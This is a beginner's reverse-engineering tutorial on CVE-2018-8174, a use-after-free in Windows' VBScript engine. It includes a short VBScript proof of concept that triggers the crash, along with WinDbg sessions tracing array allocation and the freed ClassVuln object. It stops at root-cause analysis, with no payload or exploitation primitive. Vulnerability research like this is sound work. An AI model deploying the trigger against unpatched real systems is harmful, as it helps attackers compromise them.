A Beginner's Guide to Understanding Windows VBScript Engine Remote Code Execution Vulnerability (CVE-2018-8174)
Introduction
CVE-2018-8174 is a VBScript vulnerability which was found being exploited in the wild. The unique event related to this vulnerability is, though it is a VBScript vulnerability, it was found being exploited using MS Office. There is a blogpost by Qihoo 360 [1] performing a thorough analysis on Exploit Delivery, Vulnerability Root Cause, Exploitation Strategy, Payload etc. There is also a good blogpost from Kaspersky [2] where they have done a deeper analysis of the vulnerability. This post will focus on various techniques of reverse engineering internals of Windows VBScript Engine, to understand the vulnerability better.
Disclaimer: This post is meant to help beginner’s to take a deep dive analyzing memory corruption vulnerabilities in VBScript engine. If you are an experienced analyst most of the information discussed here is probably already known to you.
Prerequisites
The first requirement is to set-up a vulnerable VM. You can uninstall the May patch from an up to date installation of Windows and you should be good to go. In my analysis, I have specifically used Windows 7 SP1 32-bit. Generally, vulnerabilities related to VBScript Engine are analyzed using IE. But, we will use wscript.exe
to analyze this vulnerability, as it is much easier to handle for debugging purposes and we don’t have to deal with IE cache issues. Also, I have used Windbg
for debugging and IDA Freeware for Windows
for disassembly. Using any other debugger, such as Immunity Debugger
, OllyDbg
, x64dbg
will also work. Also you can use any other disassenmbler such as radare 2
, Hopper
, Binary Ninja
etc.
First look at the crash
First we will start with a minimal POC for triggerring the vulnerability
Dim ArrA(1)
Dim ArrB(1)
Class ClassVuln
Private Sub Class_Terminate()
Set ArrB(0) = ArrA(0)
ArrA(0) = 31337
End Sub
End Class
Sub TriggerVuln
Set ArrA(0) = New ClassVuln
Erase ArrA
Erase ArrB
End Sub
TriggerVuln
Let’s grab the POC code from 0patch blog [3] which is another good source of analysis for this vulnerability. We will save the above code in a file named poc.vbs
. At first you can see that we have declared two VBScript arrays, ArrA
and ArrB
, each of size 1. Next we declared a class named ClassVuln
inside which we wrote a function named Class_Terminate
. This is a special function which will be called just before the destruction of a VBScript object. Class_Terminate
is a deprecated and undocumented functionality in VBScript, but code corresponding to its implementation is not yet removed, so it can still be invoked. Inside TriggerVuln
function we are setting the first element of ArrA
to an object of type ClassVuln
, then we are erasing ArrA
and ArrB
.
Now, let’s take a look what is happenning inside Class_Terminate
function. Inside Class_Terminate
1st element of ArrB
is being assigned the value of 1st element of ArrA
, then in the next line the 1st element of ArrA
is assigned the value of 31337. Don’t worry if this does not make any sense now, we will explore the basic concepts needed to understand the above code one by one.
Using GFLAGS for Heap Instrumentation
Before executing poc.vbs
, we will turn on Page Heap and User stack trace database for WScript.exe
using the following command from an administrator command-prompt
gflags.exe /i wscript.exe +hpa +ust
Now, we will launch wscript.exe
under Windbg using the following command:
windbg.exe wscript.exe poc.vbs
The debugger will catch a crash as follows:
(49c.6d0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=017e8fc0 ebx=00000020 ecx=00000009 edx=00000000 esi=03496fe0 edi=00000009
eip=75e649fa esp=0042e8d8 ebp=0042e8e0 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
OLEAUT32!VariantClear+0xb3:
75e649fa 8b08 mov ecx,dword ptr [eax] ds:0023:017e8fc0=????????
Let’s dump the call stack using kb
command:
# ChildEBP RetAddr Args to Child
00 002eec00 77710130 03384fe0 03384fe0 0329cfe8 OLEAUT32!VariantClear+0xb3
01 002eec14 7770fdc8 0329cfe8 03384fe0 00000020 OLEAUT32!ReleaseResources+0xa3
02 002eec3c 77725b75 0329cfe8 00000001 002eec60 OLEAUT32!_SafeArrayDestroyData+0x41
03 002eec4c 77725b5b 0329cfe8 00732e88 0329cfe8 OLEAUT32!SafeArrayDestroyData+0xf
04 002eec60 6afe3d40 0329cfe8 59f523ba 002eecb4 OLEAUT32!Thunk_SafeArrayDestroyData+0x39
05 002eeca0 6af858f7 002eedb8 00000001 0072cf80 vbscript!VbsErase+0x90
06 002eecbc 6af8666b 002eedb8 00000001 0072cf80 vbscript!StaticEntryPoint::Call+0x2f
...
We can see that the crash occurred in OLEAUT32!VariantClear
. By observing the function calls involved in the call stack more closely, we can assume that the crash happened while destroying some array from memory. So, let’s issue another command in Windbg to gather some information about the invalid memory address being referenced
0:000> !heap -p -a @eax
address 017e8fc0 found in
_DPH_HEAP_ROOT @ 1721000
in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)
17224ac: 17e8000 2000
6c9990b2 verifier!VerifierDisableFaultInjectionExclusionRange+0x00003162
77ad69cc ntdll!RtlDebugFreeHeap+0x0000002f
77a99e07 ntdll!RtlpFreeHeap+0x0000005d
77a663a6 ntdll!RtlFreeHeap+0x00000142
772698cd msvcrt!free+0x00000039
6c8d6cfa vbscript!VBScriptClass::`vector deleting destructor'+0x0000001a
6c92601b vbscript!VBScriptClass::CheckDelete+0x00000028
75e64a00 OLEAUT32!VariantClear+0x000000b9
75e70130 OLEAUT32!ReleaseResources+0x000000a3
75e6fdc8 OLEAUT32!_SafeArrayDestroyData+0x00000041
75e85b75 OLEAUT32!SafeArrayDestroyData+0x0000000f
75e85b5b OLEAUT32!Thunk_SafeArrayDestroyData+0x00000039
6c923d40 vbscript!VbsErase+0x00000090
6c8c58f7 vbscript!StaticEntryPoint::Call+0x0000002f
...
From the above stack trace it is very much evident that the crash happened because poc.vbs
was trying to access a freed memory. Also, we can see that the freed memory belonged to a VBScript class previously.
Understanding VBScript Array Allocation/Deallocation
First we have to do some analysis to find out how Arrays in VBScript are created and destroyed. We will write a small snippet of VBScript and analyze it with WinDbg
MsgBox "before Dim"
Dim ArrA(&h1000000)
MsgBox "After Dim, Before loop"
ArrA(0) = &h41414141
MsgBox ArrA(0)
Save the above code snippet in a file named 1.vbs
. In the above script we are declaring a VBScript Array of size 0x1000000
and then we are assigning a value of 0x41414141
to the first element of the array. Our intention is to find out the address and layout of VBScript array in memory. Generally, heap memory allocations in Windows are done using ntdll!RtlAllocateHeap
API. We can directly insert a breakpoint at it, but then the breakpoint will hit too many times. In order to avoid that we can open ole32.dll
in IDA and identify that CRetailMalloc_Alloc()
is a wrapper over RtlAllocateHeap()
and is responsible to call it. CRetailMalloc_Alloc()
accepts 2 parameters, out of which the 2nd parameter represents size of the requested heap chunk. Now, going back to 1.vbs
, at line 2 we are creating an array of size 0x1000000. We should look for this number or a value slightly bigger than this number being passed to the 2nd parameter of CRetailMalloc_Alloc()
.
First we will wait for the first MsgBox
to display the message before Dim, next we will break inside the debugger and insert a breakpoint at ole32!CRetailMalloc_Alloc
, then we will continue execution. In my case, on hitting the breakpoint second time I found the value 0x10000010
being passed to the 2nd parameter. If we dump call stack at this point, we will see the following:
# ChildEBP RetAddr Args to Child
00 0019ec30 7711ddbb 75bf66bc 10000010 00000000 ole32!CRetailMalloc_Alloc [d:\w7rtm\com\ole32\com\class\memapi.cxx @ 637]
01 0019ec48 7711e2f1 75bf66bc 00000001 00000001 OLEAUT32!SafeArrayAllocData+0x39
02 0019ec60 6d8c3dc4 03400fe8 00000010 00190800 OLEAUT32!SafeArrayCreate+0x89
03 0019ee80 6d8c3e35 0019f118 00000000 0173be00 vbscript!MakeArray+0x68
...
By observing the call stack we can be sure that this allocation is indeed related to allocation of ArrA
. OLEAUT32!SafeArrayCreate()
is infact a documented API in MSDN
SAFEARRAY* SafeArrayCreate(
_In_ VARTYPE vt,
_In_ UINT cDims,
_In_ SAFEARRAYBOUND *rgsabound
);
- vt - VARTYPE of each element of the array
- cDims - The no. of dimensions in the array
- rgsabound - A vector for bounds (one for each dimension) to allocate for the array
OLEAUT32!SafeArrayCreate
returns address of SAFEARRAY. Hence, if we can get the address returned by SafeArrayCreate()
, we will be able to dump the contents of the newly allocated array. So, we will restart our debugging session, wait for the first MsgBox
to pop-up, break into the debugger and insert a breakpoint at OLEAUT32!SafeArrayCreate
and continue our execution. As soon as we will click OK on the MsgBox
, our breakpoint will be hit. Now, we can issue gu
or press Shift+F12
to complete the execution of SafeArrayCreate()
and pass control to its caller. The debugger should again break at vbscript!MakeArray+0x68
, and the register EAX
will contain the address of the newly allocated SAFEARRAY.
0:000> dt ole32!SAFEARRAY @eax
+0x000 cDims : 1
+0x002 fFeatures : 0x880
+0x004 cbElements : 0x10
+0x008 cLocks : 0
+0x00c pvData : 0x04de0ff0 Void
+0x010 rgsabound : [1] tagSAFEARRAYBOUND
cDims
contains the value 1, and shows that our array is 1-dimensional- The value of
fFeatures
can be interpreted as follows:FADF_HAVE_VARTYPE
(0x0080) - The array has a variant typeFADF_VARIANT
(0x0800) - An array of VARIANTs
cbElements
contains the value 0x10, even though we tried to create an array of 0x1000000 elements. I am not sure why is it so, but may be its an optimization, because we are assigning value just to the first element of the array and rest of the elements are unused.
As we already know that the array is of type VARIANT
, we can try to dump the contents of the array as follows.
0:000> dt ole32!tagVARIANT 0x04de0ff0
+0x000 vt : 0
+0x002 wReserved1 : 0
+0x004 wReserved2 : 0
+0x006 wReserved3 : 0
+0x008 llVal : 0n0
+0x008 lVal : 0n0
We can see that even though ArrA
has been allocated its values are not yet populated. The actual value will be at tagVARIANT+8
. We will insert a breakpoint using baw4 0x5030ff0 + 8
, which means the breakpoint will be hit whenever there is an attempt to write 4 bytes at the given address. Now, we will continue our execution and the second MsgBox
will be shown. As soon as we click on OK, the breakpoint will hit, and execution will break inside vbscript!AssignVar
. We can conclude that vbscript!AssignVar()
assigns the value passed by the user to the array.
0:000> dt ole32!SAFEARRAY 02786fe8
+0x000 cDims : 1
+0x002 fFeatures : 0x892
+0x004 cbElements : 0x10
+0x008 cLocks : 0
+0x00c pvData : 0x04de0ff0 Void
+0x010 rgsabound : [1] tagSAFEARRAYBOUND
The above output shows the state of the array after AssignVar()
returns. Notice the change in fFeatures
, now the array is also marked as
FADF_STATIC (0x0002)
- The array is statically allocatedFADF_FIXED_SIZE (0x0010)
- The array cannot be resized or reallocated
The contents of the array can be dumped as below:
0:000> dt ole32!tagVARIANT 0x04de0ff0
+0x000 vt : 3
...
+0x008 lVal : 0n1094795585
...
+0x008 ulVal : 0x41414141
...
We can observe that the element of ArrA
has been populated now, and exactly matches the value passed in line 4 of 1.vbs
. The value of vt
above is 3 which corresponds to the type vbLong
(Long integer).
Dissecting the vulnerability
Now, lets add few MsgBox
to poc.vbs
and save the file as pocmsg.vbs
. The content of pocmsg.vbs
is as follows:
Dim ArrA(1)
MsgBox "Creating ArrB now..."
Dim ArrB(1)
Class ClassVuln
Private Sub Class_Terminate()
Msg "Setting ArrB(0) to Arr(0)..."
Set ArrB(0) = ArrA(0)
ArrA(0) = 31337
End Sub
End Class
Sub TriggerVuln
MsgBox "Setting ArrA(0) to ClassVuln object ..."
Set ArrA(0) = New ClassVuln
MsgBox "Erasing ArrA now"
Erase ArrA
MsgBox "Erasing ArrB now"
Erase ArrB
MsgBox "ArrB Erased!"
End Sub
TriggerVuln
We will execute the poc_msg.vbs
under debugger, on the intial break we will issue the following command and resume execution
sxe ld vbscript
0:000> g ModLoad: 6d7f0000 6d862000 C:\Windows\system32\vbscript.dll eax=00ac0000 ebx=00000000 ecx=00241000 edx=00000000 esi=7ffdf000 edi=0023dc98 eip=771d70b4 esp=0023dbb0 ebp=0023dc04 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 ntdll!KiFastSystemCallRet: 771d70b4 c3 ret
As shown above, the debugger will break as soon as vbscript.dll
is loaded in process memory. Now we will set a breakpoint on SafeArrayCreate
and resume execution again
bp OLEAUT32!SafeArrayCreate
The above breakpoint will hit, now we will issue gu
command, which will complete the execution of SafeArrayCreate
and break again. The value of EAX
now points to ArrA. In our case, the address of ArrA
is 0x00752fe8
0:000> dt ole32!SAFEARRAY 00752fe8
+0x000 cDims : 1
+0x002 fFeatures : 0x880
+0x004 cbElements : 0x10
+0x008 cLocks : 0
+0x00c pvData : 0x03142fe0 Void
+0x010 rgsabound : [1] tagSAFEARRAYBOUND
0:000> dd 0x3142fe0
03142fe0 00000000 00000000 00000000 00000000
03142ff0 00000000 00000000 00000000 00000000
03143000 ???????? ???????? ???????? ????????
...
The above dump shows that the address of ArrA->pvData
is 0x03142fe0
and it is initialized to all zeros. Now if we continue execution, we will see our first MsgBox
showing the message Creating ArrB now ...
. Our next target is to determine the address of ArrB
. The breakpoint on OLEAUT32!SafeArrayCreate
is already set, so as soon as we click on OK, the breakpoint will hit again.
0:000> dt ole32!SAFEARRAY 0369efe8
+0x000 cDims : 1
+0x002 fFeatures : 0x880
+0x004 cbElements : 0x10
+0x008 cLocks : 0
+0x00c pvData : 0x02bb4fe0 Void
+0x010 rgsabound : [1] tagSAFEARRAYBOUND
0:000> dd 0x02bb4fe0
02bb4fe0 00000000 00000000 00000000 00000000
02bb4ff0 00000000 00000000 00000000 00000000
02bb5000 ???????? ???????? ???????? ????????
...
Similar to ArrA
, we will obtain the addresses related to ArrB
. The address of ArrB
is 0x0369efe8
and the address of ArrB->pvData
is 0x02bb4fe0
. We will resume the execution again. This time we will see our second MsgBox
popping on screen with the message Setting ArrA(0) to ClassVuln object...
, we will click OK to resume execution. Now we will see the next MsgBox
bearing the message Erasing ArrA now...
, which means the allocation of ArrA
and ArrB
is complete now and the fields of pvData
should be populated now.
- dumping
ArrA->pvData
dt ole32!tagVARIANT 0x03142fe0 +0x000 vt : 9 ... +0x008 byref : 0x0092afd0 Void ...
We can observe that the field
vt
(VarType) is 9, which correponds tovbObject
and the address of this object is0x0092afd0
.
0:003> !heap -p -a 0x0092afd0
address 0092afd0 found in
_DPH_HEAP_ROOT @ 851000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
85230c: 92afd0 30 - 92a000 2000
vbscript!VBScriptClass::`vftable'
6f0d8e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
77255e26 ntdll!RtlDebugAllocateHeap+0x00000030
7721a376 ntdll!RtlpAllocateHeap+0x000000c4
771e5ae0 ntdll!RtlAllocateHeap+0x0000023a
76d69d45 msvcrt!malloc+0x0000008d
76d6b0d7 msvcrt!operator new+0x0000001d
6d80679e vbscript!VBScriptClass::Create+0x00000014
...
The output of above command shows that vbscript!VBScriptClass::Create
is responsible for its allocation, and so its clear that this infact it is the address of an object of type VulnClass
. Also the output below confirms it.
0:003> dps 0x0092afd0
0092afd0 6d7f13ec vbscript!VBScriptClass::`vftable'
0092afd4 00000001
0092afd8 0092ef78
0092afdc 0089df88
0092afe0 0000081c
0092afe4 00000000
0092afe8 00000000
0092afec 00932efc
0092aff0 00000000
0092aff4 0379efe4 <---------
0092aff8 00000000
0092affc 00000000
...
0:003> db 379efe4
0379efe4 43 00 6c 00 61 00 73 00-73 00 56 00 75 00 6c 00 C.l.a.s.s.V.u.l.
0379eff4 6e 00 00 00 c0 c0 c0 c0 -c0 c0 c0 c0 ?? ?? ?? ?? n...........????
...
So, at this point we have all the pieces of the puzzle, as follows: Element | Address ———|———– ArrA | 0x00752fe8 ArrA->pvData | 0x03142fe0 ArrB | 0x0369efe8 ArrB->pvData | 0x02bb4fe0 VulnClass Object | 0x0092afd0
Now, lets continue execution and click OK on the MsgBox
, we will see the next MsgBox
will show the message Setting ArrB(0) to Arr(0)
. This means we are inside function Class_Terminate()
, let’s try to reason why this function is called on Erase ArrA
. If we take a look at the MSDN documentation for Erase
, it says that it is equivalent to assigning Nothing
to each array variable. So, Erase
should ideally set ArrA(0) = Nothing
, this will make the reference count of VulnClass
0, and the process of freeing the memory occupied by object of VulnClass
will start. But, if we dump ArrA
again, we will see that ArrA->pvData
still points to VulnClass
and memory occupied by VulnClass
is not yet freed. The reason behind it is that Class_Terminate()
is called before the destruction of object, so the memory associated with it is still valid. We will resume the execution again and click OK on the MsgBox
. This time we will see the next MsgBox
showing the message Erasing ArrB now
.
0:004> dd 0x02f78fe0
02f78fe0 00000000 00000000 00000000 00000000
02f78ff0 00000000 00000000 00000000 00000000
As seen above, the contents of ArrA->pvData
is reset to 0. But, what about ArrB->pvData
? If you remember, inside Class_Terminate()
there was a statement ArrB(0) = ArrA(0)
, which is equivalent to ArrB->pvData = ArrA->pvData
. Lets dump ArrB->pvData
dt ole32!tagVARIANT 0x027c3fe0
+0x000 vt : 9
...
+0x008 byref : 0x0078afd0 Void
We can see that VarType
of ArrB(0)
is now set to vbObject
and it is pointing to VulnClass
Now, lets recheck the memory occupied by VulnClass
:
0:004> dd 0x0078afd0
0078afd0 ???????? ???????? ???????? ????????
0078afe0 ???????? ???????? ???????? ????????
...
We can see that the memory occupied by VulnClass
is already freed and ArrB->pvData
is now pointing to freed memory.
0:004> !heap -p -a 0x0078afd0
address 0078afd0 found in
_DPH_HEAP_ROOT @ 6b1000
in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)
6b230c: 78a000 2000
6e4390b2 verifier!AVrfDebugPageHeapFree+0x000000c2
772565f4 ntdll!RtlDebugFreeHeap+0x0000002f
7721a0aa ntdll!RtlpFreeHeap+0x0000005d
771e65a6 ntdll!RtlFreeHeap+0x00000142
76d698cd msvcrt!free+0x000000cd
6b6d31bd vbscript!VBScriptClass::`vector deleting destructor'+0x0000001a
6b6d3283 vbscript!VBScriptClass::Release+0x00000046
77104977 OLEAUT32!VariantClear+0x000000b9
7711e325 OLEAUT32!ReleaseResources+0x000000a3
7711dfb3 OLEAUT32!_SafeArrayDestroyData+0x00000048
77125d2d OLEAUT32!SafeArrayDestroyData+0x0000000f
77125d13 OLEAUT32!Thunk_SafeArrayDestroyData+0x00000039
6b71a509 vbscript!VbsErase+0x00000050
...
The above output shows that the free operation was triggerred by vbscript!VbErase
which in turn was called due to the statement Erase ArrA
. Now, the next statement to be executed is Erase B
, which will again trigger freeing of memory chunk pointed by 0x0078afd0
. If we continue execution and click on OK, we will see the final crash as follows:
0:004> g
(3b8.cbc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0078afd0 ebx=00000020 ecx=00000009 edx=00000000 esi=027c3fe0 edi=00000009
eip=77104971 esp=0026e504 ebp=0026e50c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
OLEAUT32!VariantClear+0xb3:
77104971 8b08 mov ecx,dword ptr [eax] ds:0023:0078afd0=????????
Now we can recognize that the crashing address belonged to VulnClass
earlier, if we analyze disassembly around the crashing instruction, we will see that the crash happens because the code was dereferencing 0x0078afd0
in order to load its Virtual Pointer Table to the register ECX
.
Size of VulnClass
0:007> !heap -p -a 0x0173afd0
address 0173afd0 found in
_DPH_HEAP_ROOT @ 1661000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
166230c: 173afd0 30 - 173a000 2000
vbscript!VBScriptClass::`vftable'
6dc68e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
77255e26 ntdll!RtlDebugAllocateHeap+0x00000030
7721a376 ntdll!RtlpAllocateHeap+0x000000c4
771e5ae0 ntdll!RtlAllocateHeap+0x0000023a
76d69d45 msvcrt!malloc+0x0000008d
76d6b0d7 msvcrt!operator new+0x0000001d
6dbf679e vbscript!VBScriptClass::Create+0x00000014
Summary
- VBscript Array Creation/Destruction
- array creation - vbscript!MakeArray -> oleaut32!SafeArrayCreate()
- populating values in array - vbscript!AssignVar
- array destruction - oleaut32!SafeArrayDestroy
- Memory Allocation/Deallocation Wrappers
- ole32!CRetailMalloc_Alloc - wrapper over ntdll!RtlAllocateHeap
- ole32!CRetailMalloc_Free - wrapper over ntdll!RtlFreeHeap
References
[1] Analysis of CVE-2018-8174 VBScript 0day and APT actor related to Office targeted attack
[2] Root cause analysis of the latest Internet Explorer zero day – CVE-2018-8174
[3] Windows Updates Broke Your Networking? Free Micropatches To The Rescue (CVE-2018-8174)
Miscellaneous
Array Deallocation
- Insert bp OLEAUT32!SafeArrayDestroy
- 1st arg address of SAFEARRAY
- bp at ole32!CRetailMalloc_Free
- gu
- 1st hit at free
- arg - tagVARIANT address
- 2nd hit at free
- arg - SAFEARRAY - 10
- 1st hit at free
# ChildEBP RetAddr Args to Child
00 002bee04 7711dfea 75bf66bc 04bb0ff0 00000890 ole32!CRetailMalloc_Free [d:\w7rtm\com\ole32\com\class\memapi.cxx @ 680]
01 002bee1c 7711df3f 75bf66bc 00000001 00000000 OLEAUT32!_SafeArrayDestroyData+0x97
02 002bee38 7711defa 0276efe8 00000001 002bee8c OLEAUT32!_SafeArrayDestroy+0xaf
03 002bee48 6b8e26ab 0276efe8 0172bf78 0172ff74 OLEAUT32!SafeArrayDestroy+0xf
04 002bee8c 6b8d5fac 01725fe0 00000000 0171be00 vbscript!CVBScriptRegExpClassFactory::GetClassID+0x1b2a
05 002beea8 6b8d5d67 002bf924 002bf6e0 00000000 vbscript!CSession::Close+0x75
06 002beecc 006a56c6 0171be00 006a19af 00000000 vbscript!COleScript::Close+0xef